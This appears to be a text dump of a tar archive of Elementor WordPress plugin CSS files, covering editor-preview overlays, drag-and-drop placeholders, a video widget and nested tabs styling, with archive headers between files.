.elementor-edit-area-active .elementor-hidden-tablet.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-section:before, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con:before { content: ""; display: block; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255, 255, 255, 0.6); z-index: 9997; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.e-con, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.e-con { display: var(--display); } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-inner-section .elementor-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-inner-section .elementor-container { width: 100%; } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra > .elementor-widget-wrap, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile > .elementor-widget-container, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile > .elementor-widget-wrap { filter: opacity(0.4) saturate(0); } .e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-edit-hidden { display: none; } .elementor-editor-section-settings, .elementor-editor-container-settings { height: 24px; top: 1px; left: 50%; transform: translateX(-50%) translateY(-100%); background-color: var(--e-p-border-section); border-start-start-radius: 5px; border-start-end-radius: 5px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings i.eicon-handle, .elementor-editor-container-settings i.eicon-handle { font-size: 16px; } .elementor-editor-section-settings .elementor-editor-element-setting:hover, .elementor-editor-container-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-section-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:first-child, .elementor-editor-container-settings .elementor-editor-element-setting:first-child { border-start-start-radius: 5px; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings .elementor-editor-element-setting:first-child:before, .elementor-editor-container-settings .elementor-editor-element-setting:first-child:before { content: ""; position: absolute; top: 2px; right: calc(100% - 1px); border-block-start: 22px solid transparent; border-block-end: 0 none transparent; border-inline-start: 0 none transparent; border-inline-end: 12px solid var(--e-p-border-section); transition: var(--e-a-transition-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:first-child:hover:before, .elementor-editor-container-settings .elementor-editor-element-setting:first-child:hover:before { border-inline-end-color: var(--e-p-border-section-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:last-child, .elementor-editor-container-settings .elementor-editor-element-setting:last-child { border-start-start-radius: 0; border-start-end-radius: 5px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings .elementor-editor-element-setting:last-child:after, .elementor-editor-container-settings .elementor-editor-element-setting:last-child:after { content: ""; position: absolute; top: 2px; left: calc(100% - 1px); border-block-start: 22px solid transparent; border-block-end: 0 none transparent; border-inline-start: 12px solid var(--e-p-border-section); border-inline-end: 0 none transparent; transition: var(--e-a-transition-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:last-child:hover:after, .elementor-editor-container-settings .elementor-editor-element-setting:last-child:hover:after { border-inline-start-color: var(--e-p-border-section-hover); } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings { transform: translateX(-50%); border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 5px; border-end-end-radius: 5px; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 5px; border-end-end-radius: 0; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child:before, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child:before { top: 0; border-block-start: 0 none transparent; border-block-end: 22px solid transparent; border-inline-start: 0 none transparent; border-inline-end: 12px solid var(--e-p-border-section); transition: var(--e-a-transition-hover); } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 5px; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child:after, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child:after { top: 0; border-block-start: 0 none transparent; border-block-end: 22px solid transparent; border-inline-start: 12px solid var(--e-p-border-section); border-inline-end: 0 none transparent; transition: var(--e-a-transition-hover); } .elementor-column > .elementor-element-overlay { left: 0; bottom: 0; } .elementor-column > .elementor-element-overlay:after { position: absolute; left: 0; right: 0; top: 0; bottom: 0; outline: 1px dashed var(--e-p-border-column); } .elementor-column:hover > .elementor-element-overlay:after { content: ""; } .elementor-column.elementor-element-editable > .elementor-element-overlay:after { content: ""; outline: 2px solid var(--e-p-border-column); } .elementor-column.elementor-dragging-on-child > .elementor-element-overlay { border: 1px solid var(--e-p-draggable-color); } .elementor-column.elementor-dragging-on-child > .elementor-element-overlay:after { display: none; } .elementor-column > .ui-resizable-e, .elementor-column > .ui-resizable-w { cursor: col-resize; width: 7px; position: absolute; right: -5px; top: 0; height: 100%; } .elementor-column:last-of-type > .ui-resizable-e, .elementor-column:last-of-type > .ui-resizable-w { display: none !important; } @media (max-width: 1024px) { .elementor-column > .ui-resizable-e, .elementor-column > .ui-resizable-w { display: none !important; } } .elementor-editor-column-settings { top: -1px; left: -1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 3px; overflow: hidden; } .elementor-editor-column-settings .elementor-editor-element-setting { background-color: var(--e-p-border-column); } .elementor-editor-column-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-column-hover); } .elementor-column-placeholder { position: relative; } .elementor-column-placeholder:before, .elementor-column-placeholder:after { content: ""; position: absolute; top: 10px; bottom: 10px; right: 10px; left: 10px; } .elementor-column-placeholder:before { border: 1px solid var(--e-p-border-column); } .elementor-column-placeholder:after { border: 1px dashed var(--e-a-color-white); } .elementor-column-percents-tooltip { position: absolute; display: none; pointer-events: none; top: 50%; transform: translateY(-50%); color: #fff; font-size: 10px; background-color: var(--e-p-border-column); width: 40px; padding: 3.5px 0; text-align: center; z-index: 1; line-height: 1; } .elementor-column-percents-tooltip:after { content: ""; position: absolute; width: 0; height: 0; border: 8.5px solid transparent; top: 0; } .elementor-column-percents-tooltip[data-side=left] { border-radius: 3px 0 0 3px; right: 15px; } .elementor-column-percents-tooltip[data-side=left]:after { left: 100%; border-left-color: var(--e-p-border-column); border-right-width: 0; } .elementor-column-percents-tooltip[data-side=right] { border-radius: 0 3px 3px 0; left: 15px; } .elementor-column-percents-tooltip[data-side=right]:after { right: 100%; border-right-color: var(--e-p-border-column); border-left-width: 0; } .elementor-editor-widget-settings { z-index: 2; top: -1px; right: -1px; flex-direction: row-reverse; border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; overflow: hidden; } .elementor-editor-widget-settings .elementor-editor-element-setting { background-color: var(--e-p-border-widget); } .elementor-editor-widget-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-widget-hover); } .e-widget-pro-promotion .elementor-widget-container { border: 2px dashed var(--e-a-border-color-bold); background-color: var(--e-a-color-white); padding: 20px; } .e-widget-pro-promotion .e-container { max-width: 600px; margin: auto; } .e-widget-pro-promotion .e-badge { border: 1px solid var(--e-a-color-accent); color: var(--e-a-color-accent); background: var(--e-a-color-white); border-radius: 100px; padding: 4px 12px; font-size: 0.8em; } .e-widget-pro-promotion p { margin-block-start: 1em; margin-block-end: 1em; text-align: center; } .e-widget-pro-promotion p img { display: block; margin: 0 auto 20px; } .e-widget-pro-promotion .e-actions { display: flex; justify-content: center; gap: 10px; } .e-widget-pro-promotion .e-btn { font-size: 14px; font-weight: 500; line-height: 1.2; padding: 8px 16px; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg-accent); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .e-widget-pro-promotion .e-btn:hover, .e-widget-pro-promotion .e-btn:focus { background-color: var(--e-a-btn-bg-accent-hover); color: var(--e-a-btn-color-invert); } .e-widget-pro-promotion .e-btn:active { background-color: var(--e-a-btn-bg-accent-active); } .e-widget-pro-promotion .e-btn.e-btn-txt { background: transparent; color: var(--e-a-color-txt); } .e-widget-pro-promotion .e-btn.e-btn-txt:hover, .e-widget-pro-promotion .e-btn.e-btn-txt:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-section > .elementor-element-overlay, .e-con > .elementor-element-overlay { left: 0; bottom: 0; } .elementor-section > .elementor-element-overlay:after, .e-con > .elementor-element-overlay:after { position: absolute; left: 1px; right: 1px; top: 1px; bottom: 1px; outline: 1px solid var(--e-p-border-con); animation: section-outline 0.75s; } .elementor-section:hover > .elementor-element-overlay:after, .e-con:hover > .elementor-element-overlay:after { content: ""; } .elementor-section.elementor-element-editable > .elementor-element-overlay:after, .e-con.elementor-element-editable > .elementor-element-overlay:after { content: ""; outline-width: 2px; } .e-con .e-con-inner .e-con > .elementor-element-overlay:after { outline: 1px dashed var(--e-p-border-con-in); } .e-con .e-con-inner .e-con.elementor-element-editable > .elementor-element-overlay:after { outline: 2px solid var(--e-p-border-con-in); } .e-con .elementor-empty-view { position: relative; width: 100%; height: 100%; min-height: 100px; } .e-con .elementor-empty-view .elementor-first-add { width: auto; height: auto; inset: 0; } .e-con:not(.e-grid) .elementor-empty-view { min-height: var(--min-height, 100px); } .e-con.e-grid .elementor-empty-view { min-width: 100px; } .e-con .elementor-widget-placeholder { --size: 10px; --margin-start: calc( -1 * var( --size ) ); --margin-end: calc( -2 * var( --size ) ); flex-shrink: 0; align-self: stretch; z-index: 1; pointer-events: none; } .e-con.e-con--row > .elementor-widget-placeholder, .e-con.e-con--row > .e-con-inner > .elementor-widget-placeholder { position: relative; z-index: 9999; width: var(--size); margin-inline-start: var(--margin-start); height: auto; min-height: 100%; animation-name: dnd-placeholder-widget-vertical; animation-fill-mode: both; } .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .elementor-widget-placeholder, .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .e-con-inner > .elementor-widget-placeholder { margin-inline-end: 0; margin-inline-start: calc(var(--margin-start) + var(--margin-end)); } .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > :not(.elementor-element) + .elementor-widget-placeholder, .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .e-con-inner > :not(.elementor-element) + .elementor-widget-placeholder { margin-inline-end: var(--margin-end); margin-inline-start: var(--margin-start); } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { position: absolute; width: var(--size); height: 100%; top: 0; animation: grow-in-width 0.15s forwards; } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right { right: 0; left: auto; } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { left: 0; right: auto; } .e-con.e-con--column > .elementor-widget-placeholder, .e-con.e-con--column > .e-con-inner > .elementor-widget-placeholder { height: var(--size); margin-block-start: var(--margin-start); margin-block-end: var(--margin-end); animation-name: dnd-placeholder-widget-horizontal; } .e-con.e-con--column > .elementor-widget-placeholder:nth-last-child(2) { margin-block-start: calc(2 * var(--margin-start)); --margin-end: 0; } .e-con.e-con--column > .e-con-inner > .elementor-widget-placeholder:last-child { --margin-end: 0; } .e-con .elementor-sortable-helper { height: 84px; width: 125px; z-index: -1; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting { position: relative; background-color: var(--e-p-border-con-in); } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover { background-color: var(--e-p-border-con-in-hover); } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after { display: none; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit), .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit), .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit) { margin-inline-start: -25px; z-index: -1; transition: 0.3s all; will-change: margin-inline-start; } .e-con > .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove), .e-con-inner > .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove), .elementor-widget .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove) { margin-inline-start: 0; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-settings, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-settings, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-settings { inset: initial; transform: none; inset-inline-start: 0; top: 0; border-radius: 0; border-end-end-radius: 3px; height: auto; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before { content: "\e9b4"; font-size: 20px; display: block; padding: 2px; } body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, body.rtl .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right { left: 0; right: auto; } body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, body.rtl .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { right: 0; left: auto; } @keyframes dnd-placeholder-widget-vertical { 0% { transform-origin: 0 50%; transform: translateX(50%) scaleX(0); opacity: 0; } 100% { transform-origin: 0 50%; transform: translateX(50%) scaleX(1); opacity: 0.9; } } @keyframes dnd-placeholder-widget-horizontal { 0% { transform-origin: 50% 0; transform: scaleY(0); opacity: 0; } 100% { transform-origin: 50% 0; transform: scaleY(1); opacity: 0.9; } } @keyframes grow-in-width { from { width: 0; } 50% { width: calc(var(--size) / 2); } to { width: var(--size); } } .e-con-select-preset { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 25px; } .e-con-select-preset[data-view=choose-preset] > *:not(.e-con-select-preset__inner) { display: none; } .e-con-select-preset[data-view=drop-area] > *:not(.elementor-first-add) { display: none; } .e-con-select-preset__title { font-family: var(--e-a-font-family); font-size: 15px; font-weight: 400; color: var(--e-a-color-txt); } .e-con-select-preset__list { display: flex; gap: 20px; align-items: center; justify-content: center; flex-wrap: wrap; max-width: 650px; } .e-con-select-preset__list .e-con-preset { cursor: pointer; flex-basis: 90px; } .e-con-select-preset__list .e-con-preset svg { width: 100%; height: auto; } .e-con-select-preset__list .e-con-preset path { fill: var(--e-a-color-white); } .e-con-select-preset__list .e-con-preset rect { fill: var(--e-a-bg-active-bold); transition: 0.3s all; } .e-con-select-preset__list .e-con-preset:hover rect { fill: var(--e-a-color-txt); } .e-con-shared-styles { font-family: var(--e-a-font-family); line-height: 1; color: var(--e-a-color-txt); min-height: 159px; overflow: hidden; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 25px; } .e-con-select-type__title { font-size: 15px; font-weight: 400; } .e-con-select-type__icons { display: flex; justify-content: center; flex-wrap: wrap; gap: 40px; } .e-con-select-type__icons__icon { cursor: pointer; } .e-con-select-type__icons__icon svg { margin-block-end: 10px; width: 85px; } .e-con-select-type__icons__icon svg:hover rect { fill: var(--e-a-color-txt); } .e-con-select-type__icons__icon svg:hover path { stroke: var(--e-a-color-white); } .e-con-select-type__icons__icon__subtitle { font-size: 14px; font-weight: 500; } .e-con-select-preset-grid__title { font-size: 15px; font-weight: 400; } .e-con-select-preset-grid__list { display: flex; justify-content: center; flex-wrap: wrap; gap: 20px; } .e-con-select-preset-grid__list svg { cursor: pointer; } .e-con-select-preset-grid__list svg:hover rect { fill: var(--e-a-color-txt); } .e-con-select-preset-grid__list svg:hover path { stroke: var(--e-a-color-white); } .e-con .ui-resizable-e { right: 0; } .e-con .ui-resizable-w { left: 0; } /*# sourceMappingURL=editor-preview.css.map */assets/css/app-base-rtl.min.css000064400000002603147206604650012434 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root{--color-box-shadow-color:rgba(0,0,0,0.05)}.eps-theme-dark{--color-box-shadow-color:rgba(0,0,0,0.1)}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}@media screen and (min-width:480px){.text-start-sm{text-align:start}}@media screen and (min-width:480px){.text-center-sm{text-align:center}}@media screen and (min-width:480px){.text-end-sm{text-align:end}}@media screen and (min-width:768px){.text-start-md{text-align:start}}@media screen and (min-width:768px){.text-center-md{text-align:center}}@media screen and (min-width:768px){.text-end-md{text-align:end}}@media screen and (min-width:1025px){.text-start-lg{text-align:start}}@media screen and (min-width:1025px){.text-center-lg{text-align:center}}@media screen and (min-width:1025px){.text-end-lg{text-align:end}}@media screen and (min-width:1440px){.text-start-xl{text-align:start}}@media screen and (min-width:1440px){.text-center-xl{text-align:center}}@media screen and (min-width:1440px){.text-end-xl{text-align:end}}@media screen and (min-width:1600px){.text-start-xxl{text-align:start}}@media screen and (min-width:1600px){.text-center-xxl{text-align:center}}@media screen and (min-width:1600px){.text-end-xxl{text-align:end}}@keyframes eps-animation-pop{0%{transform:scale(.75);opacity:0}to{transform:scale(1);opacity:1}}assets/css/widget-video-rtl.min.css000064400000003514147206604650013335 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-video .elementor-widget-container{overflow:hidden;transform:translateZ(0)}.elementor-widget-video .elementor-wrapper{aspect-ratio:var(--video-aspect-ratio)}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{height:100%;width:100%;display:flex;border:none;background-color:#000}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-wrapper{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-wrapper iframe,.elementor-widget-video .elementor-wrapper video{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .elementor-open-inline .elementor-custom-embed-image-overlay{position:absolute;top:0;right:0;bottom:0;left:0;background-size:cover;background-position:50%}.elementor-widget-video .elementor-custom-embed-image-overlay{cursor:pointer;text-align:center}.elementor-widget-video .elementor-custom-embed-image-overlay:hover .elementor-custom-embed-play i{opacity:1}.elementor-widget-video .elementor-custom-embed-image-overlay img{display:block;width:100%;aspect-ratio:var(--video-aspect-ratio);-o-object-fit:cover;object-fit:cover;-o-object-position:center center;object-position:center center}@supports not (aspect-ratio:1/1){.elementor-widget-video .elementor-custom-embed-image-overlay{position:relative;overflow:hidden;height:0;padding-bottom:calc(100% / var(--video-aspect-ratio))}.elementor-widget-video .elementor-custom-embed-image-overlay img{position:absolute;top:0;right:0;bottom:0;left:0}}.elementor-widget-video .e-hosted-video .elementor-video{-o-object-fit:cover;object-fit:cover}.e-con-inner>.elementor-widget-video,.e-con>.elementor-widget-video{width:var(--container-widget-width);--flex-grow:var(--container-widget-flex-grow)}assets/css/widget-nested-tabs.min.css000064400000034017147206604650013643 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-n-tabs{--n-tabs-color-accent-fallback:#61ce70;--n-tabs-color-secondary-fallback:#54595f;--n-tabs-default-padding-block:15px;--n-tabs-default-padding-inline:35px;--n-tabs-background-color:transparent;--n-tabs-display:flex;--n-tabs-direction:column;--n-tabs-gap:10px;--n-tabs-heading-display:flex;--n-tabs-heading-direction:row;--n-tabs-heading-grow:initial;--n-tabs-heading-justify-content:center;--n-tabs-heading-width:initial;--n-tabs-heading-overflow-x:initial;--n-tabs-heading-wrap:nowrap;--n-tabs-border-width:1px;--n-tabs-border-color:#d5d8dc;--n-tabs-content-display:flex;--n-tabs-title-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-title-color-hover:#fff;--n-tabs-title-color-active:#fff;--n-tabs-title-background-color:#f1f2f3;--n-tabs-title-background-color-hover:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-background-color-active:var(--e-global-color-accent,var(--n-tabs-color-accent-fallback));--n-tabs-title-width:initial;--n-tabs-title-height:initial;--n-tabs-title-font-size:1rem;--n-tabs-title-white-space:initial;--n-tabs-title-justify-content-toggle:initial;--n-tabs-title-align-items-toggle:center;--n-tabs-title-justify-content:center;--n-tabs-title-align-items:center;--n-tabs-title-text-align:center;--n-tabs-title-direction:row;--n-tabs-title-gap:10px;--n-tabs-title-flex-grow:0;--n-tabs-title-flex-basis:content;--n-tabs-title-flex-shrink:initial;--n-tabs-title-order:initial;--n-tabs-title-padding-top:var(--n-tabs-default-padding-block);--n-tabs-title-padding-bottom:var(--n-tabs-default-padding-block);--n-tabs-title-padding-left:var(--n-tabs-default-padding-inline);--n-tabs-title-padding-right:var(--n-tabs-default-padding-inline);--n-tabs-title-border-radius:initial;--n-tabs-title-transition:0.3s;--n-tabs-icon-color:var(--e-global-color-secondary,var(--n-tabs-color-secondary-fallback));--n-tabs-icon-color-hover:var(--n-tabs-title-color-hover);--n-tabs-icon-color-active:#fff;--n-tabs-icon-gap:5px;width:100%;max-width:100%;--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-left);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-right);--n-tabs-title-padding-block-start:var(--n-tabs-title-padding-top);--n-tabs-title-padding-block-end:var(--n-tabs-title-padding-bottom)}body.rtl .elementor-widget-n-tabs{--n-tabs-title-padding-inline-start:var(--n-tabs-title-padding-right);--n-tabs-title-padding-inline-end:var(--n-tabs-title-padding-left)}.elementor-widget-n-tabs .e-n-tabs{display:var(--n-tabs-display);flex-direction:var(--n-tabs-direction);gap:var(--n-tabs-gap);text-align:start;min-width:0}.elementor-widget-n-tabs .e-n-tabs-heading{display:var(--n-tabs-heading-display);flex-basis:var(--n-tabs-heading-width);flex-direction:var(--n-tabs-heading-direction);flex-shrink:0;justify-content:var(--n-tabs-heading-justify-content);gap:var(--n-tabs-title-gap);overflow-x:var(--n-tabs-heading-overflow-x);flex-wrap:var(--n-tabs-heading-wrap);-ms-overflow-style:none;scrollbar-width:none}.elementor-widget-n-tabs .e-n-tabs-heading::-webkit-scrollbar{display:none}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll{cursor:grabbing;cursor:-webkit-grabbing}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active{position:relative}.elementor-widget-n-tabs .e-n-tabs-heading.e-scroll-active:before{content:"";position:absolute;inset-block:0;inset-inline:-1000vw;z-index:2}.elementor-widget-n-tabs .e-n-tabs-content{display:var(--n-tabs-content-display);flex-grow:1;min-width:0}.elementor-widget-n-tabs .e-n-tabs-content>.e-con:not(.e-active){display:none}.elementor-widget-n-tabs .e-n-tabs:not(.e-activated)>.e-n-tabs-content>.e-con:first-child{display:flex}.elementor-widget-n-tabs 